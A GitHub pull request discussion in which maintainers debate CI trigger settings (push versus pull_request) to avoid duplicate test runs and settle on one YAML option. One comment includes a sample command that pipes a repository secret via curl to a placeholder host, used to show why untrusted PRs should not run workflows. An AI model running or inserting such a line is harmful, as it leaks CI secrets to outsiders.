ci: only run tests once on push to pr

[dimaqq]

I've noticed that when a new commit is pushed to a PR, the same tests are run twice: once triggered by on: push and another by on: pull_request: synchronize

---

Note that the two runs are not exactly same, if the target (main) branch has received updates in the meantime, because:

on: push Trigger:

This workflow runs the tests on the new commit in the feature branch as it stands alone.
It doesn't consider any changes that might have been merged into the main branch since the feature branch was last updated.

on: pull_request: synchronize Trigger:

This workflow runs the tests on the combined state of the feature branch and the main branch.
It effectively simulates a merge between the feature branch and the main branch to see if the combined state would pass the tests.

---

to do

• agree on approach
• apply to other workflows

[dimaqq]

I feel that there are 2 ways to do this, and which we pick should probably be driven by our development style and preferences.

Option 1 👎🏻 (not taken)

on:
  push:
  pull_request:
    types: [opened, reopened]

Option 2 👍🏻 (taken)

on:
  push:
    branches:
      - main
  pull_request:

[benhoyt]

Can you please describe the differences between the two options in non-YAML language? :-)

[dimaqq]

Option 1

Runs GHA on push to the feature branch. The code tested is the exact contents of the branch.

Downside: if the feature branch is out of date wrt. main, passing tests don't actually mean that main will be healthy after the PR is merged.

Downside is probably minor, because we don't allow [mere mortals] to merge PR that's out of sync.

Option 2

Runs GHA on PR being updated. The code tested is what would be in main, should the PR be merged.

Downside: CI is not ran on feature branches until the PR is opened. May be hard on developers, if we routinely rely on CI as opposed to local/unit tests.

[dimaqq]

There's also a caveat wrt. external collaborators.

GHA are not run / should not be run for "unknown" PRs, that is if someone opens a PR and adds echo ${{ secrets.FOO }} | curl -data-binary @- http://somewhere.unsafe.

The standard solution for this is for someone on the team to close and reopen the PR, as reopen even is then processed in the context of the privileged user.

I'm not addressing this concern though.

[benhoyt]

Thanks for the summaries. I vote for option 2, but also that we disable the GitHub thing that requires the branch to be up to date. I've never felt this gains us much (especially if we're running tests on a temporary merge-to-main branch), and it's a bit of a pain.

Go ahead and cast your votes, and then we can discuss and try to come to consensus in Tuesday's daily sync.

[tonyandrewmeyer]

Option 2 sounds best to me as well - I don't think there's any need to run CI against branches before there's a PR (I never look at any - it's simple to run the framework ones locally, and if it seems likely that the charm ones might fail I'll run tests against many more charms first - opening a draft PR also solves this). I think this is the intention of the CI: what would happen when this branch is merged (not "what would happen if I force-pushed this branch to main").

+1 to removing the requirement to have the branch up-to-date before merging. It seems like even GitHub is moving away from this (in favour of merge queues, which seem like overkill for us).

[dimaqq]

@IronCore864 cast your vote, please 🙇🏻

[IronCore864]

My preference:

• commits on the main branch
• PR to the main branch

on:
  pull_request:
    types:
      - opened
      - reopened
    branches:
      - main
  push:
    branches:
      - main

If we don't trigger tests on every commit that is not to the main branch, we need a trigger phrase like "test it" so that users can decide to trigger another test in the PR after a few commits.

[dimaqq]

Ok, looks like Option 2 got most votes.
I'll remake this PR to follow that.

wrt. restricting PR target to run tests in addition to the above, I'm not sure yet, and that can be a separate change. So I'll leave that out for now.

[benhoyt]

Thanks for this. @dimaqq Please also update the PR description to match what's actually going in before merging.